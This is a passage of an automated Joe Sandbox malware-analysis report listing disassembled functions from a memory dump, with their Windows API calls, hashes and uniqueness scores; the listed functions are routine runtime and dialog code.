Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: BitmapCreateFromGdipStream
String ID:
API String ID: 1918208029-0
Opcode ID: d87e637daed3fafcc2c4a7936a3f3b69ae89bba4784c08ff003c0c303875a481
Instruction ID: 5176885e29d2cb008b97f10765d6ba7d13bd0b0e5411c733f69a82a0ea40d117
Opcode Fuzzy Hash: d87e637daed3fafcc2c4a7936a3f3b69ae89bba4784c08ff003c0c303875a481
Instruction Fuzzy Hash: 09E01275900228EFDB21DF99D54179DB7F8EF04350F20807EE99597601D374AE449B91

Uniqueness

Uniqueness Score: -1.00%

Function 00333D1C Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00333D3A
___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00333D45

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: Value___vcrt____vcrt_uninitialize_ptd
String ID:
API String ID: 1660781231-0
Opcode ID: 1d17ecdf922360ed3ebaf766614473f0181f1b30b37c490383e7a5680b2850cb
Instruction ID: 0eb2e0e423b27e3d160355d8f689fc9f549bf99f7a20fb957b83bd4e32e5a4f0
Opcode Fuzzy Hash: 1d17ecdf922360ed3ebaf766614473f0181f1b30b37c490383e7a5680b2850cb
Instruction Fuzzy Hash: DBD02236448702148C1B33782CC38995348A811B71FE1E746E0309E4E2EF18E6806022

Uniqueness

Uniqueness Score: -1.00%

Function 003112D1 Relevance: 3.0, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 003112E6
ShowWindow.USER32(00000000), ref: 003112ED

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: ItemShowWindow
String ID:
API String ID: 3351165006-0
Opcode ID: 6993618426fa66f240d95209d40ec45346f9fd7bf31bce7c3654913893fbbcba
Instruction ID: 696344d3e2885b47f6512fa6ace8ef72347f9f9236a567bad206f50ce49fcd03
Opcode Fuzzy Hash: 6993618426fa66f240d95209d40ec45346f9fd7bf31bce7c3654913893fbbcba
Instruction Fuzzy Hash: FFC01232458500BECF120B70DC09D2A7BECAB94312F50C918F0A9C1060C279C050DB11

Uniqueness

Uniqueness Score: -1.00%

Function 003112B3 Relevance: 3.0, APIs: 2, Instructions: 8COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 003112C1
KiUserCallbackDispatcher.NTDLL(00000000), ref: 003112C8

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: CallbackDispatcherItemUser
String ID:
API String ID: 4250310104-0
Opcode ID: 10400d367a25365db2aeed6964693a08bc632be6edfbff43f0a07d031b95f1e0
Instruction ID: 1224b443c0039c8ba9727fa6bbec9354b08527e3f2b9b64947b3af834258242b
Opcode Fuzzy Hash: 10400d367a25365db2aeed6964693a08bc632be6edfbff43f0a07d031b95f1e0
Instruction Fuzzy Hash: 3DC04C76408640BFCF165BB49D0CD2FBFBDAB94312F90CD1DB1A981020C6758450DF11

Uniqueness

Uniqueness Score: -1.00%

Function 00311AD3 Relevance: 1.8, APIs: 1, Instructions: 319COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00311AD8

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 907964f9e5adb1575e764a17139ecd6de61234b919642915e3431c6804d567ce
Instruction ID: 49f4e60e9b1332288f71a4ba12d87d524240f282be6fbf653e9ab35424b8d1ef
Opcode Fuzzy Hash: 907964f9e5adb1575e764a17139ecd6de61234b919642915e3431c6804d567ce
Instruction Fuzzy Hash: 6EC1A474A002549BDF2ACF68C4847ED7BA59F4E310F1905B9ED059F396CB709AC4CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00316DEF Relevance: 1.7, APIs: 1, Instructions: 183COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00316E98

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: 941bfae615688ee32bbd6900b3b070fa22ea946234ba2437a9a814970aadf6c0
Instruction ID: faae23804e082260a7337c4050a03e9eea8c6a280859d14f4ce22a7eea4f6c54
Opcode Fuzzy Hash: 941bfae615688ee32bbd6900b3b070fa22ea946234ba2437a9a814970aadf6c0
Instruction Fuzzy Hash: CD51B973504358ABD726AAA0DC81FDBB3ECFF48304F04492AF699D7142EA31E55987A1

Uniqueness

Uniqueness Score: -1.00%

Function 003142F1 Relevance: 1.7, APIs: 1, Instructions: 177COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 003142F6

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 8cea11cbc13c286d0cfd6ab92c95bfab1b0167a567a4546e5bfad28b3a7be7f1
Instruction ID: 3100bf16fca40fa1edb43400bad6fb543656f23dd5d57deace39fecf02192b92
Opcode Fuzzy Hash: 8cea11cbc13c286d0cfd6ab92c95bfab1b0167a567a4546e5bfad28b3a7be7f1
Instruction Fuzzy Hash: BD71D2B1504B859FCB2BEB74D851AE7B7E9BF09300F04092EE2AB47181DB71B694DB11

Uniqueness

Uniqueness Score: -1.00%

Function 003190A2 Relevance: 1.6, APIs: 1, Instructions: 114COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 003190A7

Part of subcall function 003113F8: __EH_prolog.LIBCMT ref: 003113FD

Part of subcall function 00312032: __EH_prolog.LIBCMT ref: 00312037

Part of subcall function 0031B966: FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 0031B991

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: H_prolog$CloseFind
String ID:
API String ID: 2506663941-0
Opcode ID: 15d84a3a29397f40c9bc216db672b05ab3c8b95a959b942dff72c15a5415a4e7
Instruction ID: 17af664f8d6273fb671942a3ebecee55a4b335eb9d5724bbd83b036bec832724
Opcode Fuzzy Hash: 15d84a3a29397f40c9bc216db672b05ab3c8b95a959b942dff72c15a5415a4e7
Instruction Fuzzy Hash: 904197719042586EDB2ADB60CCA5BEAB379BF18340F4404EAF54A5B082DB756FC9CF10

Uniqueness

Uniqueness Score: -1.00%

Function 003113FD Relevance: 1.6, APIs: 1, Instructions: 107COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 003113FD

Part of subcall function 00316891: __EH_prolog.LIBCMT ref: 00316896

Part of subcall function 0031E298: __EH_prolog.LIBCMT ref: 0031E29D

Part of subcall function 0031644D: __EH_prolog.LIBCMT ref: 00316452

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 4fc323764ce05d3541af58bb3a4a453900bf0398bc7e6447040015835c4c1864
Instruction ID: ef7b446864e4d628e65bb8f82079a0cdf794f6f3d22c8fcfb28cce55805e77c0
Opcode Fuzzy Hash: 4fc323764ce05d3541af58bb3a4a453900bf0398bc7e6447040015835c4c1864
Instruction Fuzzy Hash: DA5137B19063808ECB19DF6994812D9BBF5AF59300F0802BEEC5DCF69BD7715254CB62

Uniqueness

Uniqueness Score: -1.00%

Function 003113F8 Relevance: 1.6, APIs: 1, Instructions: 106COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 003113FD

Part of subcall function 00316891: __EH_prolog.LIBCMT ref: 00316896

Part of subcall function 0031E298: __EH_prolog.LIBCMT ref: 0031E29D

Part of subcall function 0031644D: __EH_prolog.LIBCMT ref: 00316452

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 9742582207bd054120b0fbcb0f00d5475d86441cfc5e3a692ea8d5407a713bcc
Instruction ID: 6737a37156496039312f003b75ccdabf022767d85b0b5cefac6145911216badb
Opcode Fuzzy Hash: 9742582207bd054120b0fbcb0f00d5475d86441cfc5e3a692ea8d5407a713bcc
Instruction Fuzzy Hash: 635135B19063808ECB19DF6994812D9BBF5AF59300F0802BEEC5DCF68BDB711254CB62

Uniqueness

Uniqueness Score: -1.00%

Function 0032C217 Relevance: 1.6, APIs: 1, Instructions: 72COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0032C21C

Part of subcall function 003113F8: __EH_prolog.LIBCMT ref: 003113FD

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: a247bac70b7538574fcef40bb1754ea2d94aea3e12c838bfee4fc57e210a74ca
Instruction ID: 45fbd68240397fb86d459e6c9f7f48edf316f9f413d6a5a340444dcd31d985f4
Opcode Fuzzy Hash: a247bac70b7538574fcef40bb1754ea2d94aea3e12c838bfee4fc57e210a74ca
Instruction Fuzzy Hash: B7216B71C04329EECF16DF94D8819EEBBB4BF09304F0004AAE805BB641DB756B45EB61

Uniqueness

Uniqueness Score: -1.00%

Function 0033BE58 Relevance: 1.6, APIs: 1, Instructions: 65libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 0033BEB8

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 42abfb5ad8fe07544b71222b0bf57c552cfa50386475a16014b68d0e5d005847
Instruction ID: 0b517542cf08b36e4bdad4a964534c34316d3a269d7fede7b30e7f50caa23ad2
Opcode Fuzzy Hash: 42abfb5ad8fe07544b71222b0bf57c552cfa50386475a16014b68d0e5d005847
Instruction Fuzzy Hash: 80119133A006259FDB279E6CFC8099AB3A99B85760F174220EF55AB654DB31EC41CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 0031A475 Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0031A47A

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 52df85daefae9a2223169f833bd13278fc3f366d60238c4581e9736e782994a6
Instruction ID: 27ce7f750d3c7cc8c9cd5e1f9386430bcffd8ace6cad5589faa967e8b9401e3b
Opcode Fuzzy Hash: 52df85daefae9a2223169f833bd13278fc3f366d60238c4581e9736e782994a6
Instruction Fuzzy Hash: 1511E336D019299BCB2BEF69C885AFEB375AF4C700F024129FC15AB341DB74DD808691

Uniqueness

Uniqueness Score: -1.00%

Function 0032EBA2 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0032EBA7

Part of subcall function 00321983: _wcslen.LIBCMT ref: 00321999

Part of subcall function 00318823: __EH_prolog.LIBCMT ref: 00318828

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: H_prolog$_wcslen
String ID:
API String ID: 2838827086-0
Opcode ID: b9b3ddc639cdf771a71b5f057ea1bcbf8e2468df8f1e9b0f0151a63055cc6916
Instruction ID: 9193a3af531a293c93a7cd4e27411198009b7dfc82a8871bf5239b4df2c17be4
Opcode Fuzzy Hash: b9b3ddc639cdf771a71b5f057ea1bcbf8e2468df8f1e9b0f0151a63055cc6916
Instruction Fuzzy Hash: B711C875A182909ED717EBA8EC067DC7FF89B15310F00806AE0449B292DBF51684CB62

Uniqueness

Uniqueness Score: -1.00%

Function 0033D639 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

Part of subcall function 0033C2F6: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0033A543,00000001,00000364,?,00335281,00000050,?,00353070,00000200), ref: 0033C337

_free.LIBCMT ref: 0033D6A5

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 7d30b6ea8507d2c13b34e354a80f4644266152c8881b27fa68bdf41323802f68
Instruction ID: b5f7d822f2c3ea1a372be26371ec8b0dec72a153e035967c5c302a776a96486e
Opcode Fuzzy Hash: 7d30b6ea8507d2c13b34e354a80f4644266152c8881b27fa68bdf41323802f68
Instruction Fuzzy Hash: B401DB722003455BE7228E69DC8295AFBD9EB95370F65061DE59897280E630A805C764

Uniqueness

Uniqueness Score: -1.00%

Function 0033C2F6 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0033A543,00000001,00000364,?,00335281,00000050,?,00353070,00000200), ref: 0033C337

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 6dbb296ba562b3d3d826b161bad815e725ed1766a69acee95ab6b899b3fbca2d
Instruction ID: 388d4c12f0d2c8a397e688094c8de421f6dd76839ea2267f2b20bb1ab686f572
Opcode Fuzzy Hash: 6dbb296ba562b3d3d826b161bad815e725ed1766a69acee95ab6b899b3fbca2d
Instruction Fuzzy Hash: 09F0B439621624A6DB235A25DCC6A9A374C9F81771F16E011F849BB090DB28D90093E2

Uniqueness

Uniqueness Score: -1.00%

Function 0033A7FE Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0033DBEC,00000000,?,003380B1,?,00000008,?,0033A871,?,?,?), ref: 0033A830

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 8a447e1befb7da9b3170c44a5af87734ef0148c894e88f521d0880b0d3481a57
Instruction ID: 23c372be06fda598784f589758f34c5c36bb8bdcd779352676a2a8812a72ccbf
Opcode Fuzzy Hash: 8a447e1befb7da9b3170c44a5af87734ef0148c894e88f521d0880b0d3481a57
Instruction Fuzzy Hash: 76E06535201E2156E63327659CC5B5B3E5CDB427A0F160120FC999E0D2DB54DC02C1E3

Uniqueness

Uniqueness Score: -1.00%

Function 0031A880 Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(000000FF,?,?,0031A83D,?,?,?,?,?,0034380F,000000FF), ref: 0031A89B

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_work.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: e0b0fa55093326dba504f6de64bfd75f07144da4d845a1edf384dccbb19961c6
Instruction ID: 31a2f82f73f0d105a31fb3765294883e21dc377eea03821d5b417da5b49ec04b
Opcode Fuzzy Hash: e0b0fa55093326dba504f6de64bfd75f07144da4d845a1edf384dccbb19961c6
Instruction Fuzzy Hash: 97F08270486F159FDB3A8A24C4487D2FBE8AB16326F151B5ED0E3439E4D36169CE8A41

Uniqueness

Uniqueness Score: -1.00%

Function 0031B966 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

Part of subcall function 0031BA94: FindFirstFileW.KERNELBASE(?,?,?,?,?,?,0031B98B,000000FF,?,?), ref: 0031BABD
Part of subcall function 0031BA94: FindFirstFileW.KERNEL32(?,?,?,?,00000800,?,?,?,?,0031B98B,000000FF,?,?), ref: 0031BAEB
Part of subcall function 0031BA94: GetLastError.KERNEL32(?,?,00000800,?,?,?,?,0031B98B,000000FF,?,?), ref: 0031BAF7

FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 0031B991

Memory Dump Source

Source File: 00000003.00000002.1631398816.0000000000311000.00000020.00000001.01000000.00000009.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.1631384190.0000000000310000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631423791.0000000000344000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000350000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000357000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631439370.0000000000374000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1631484612.0000000000375000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

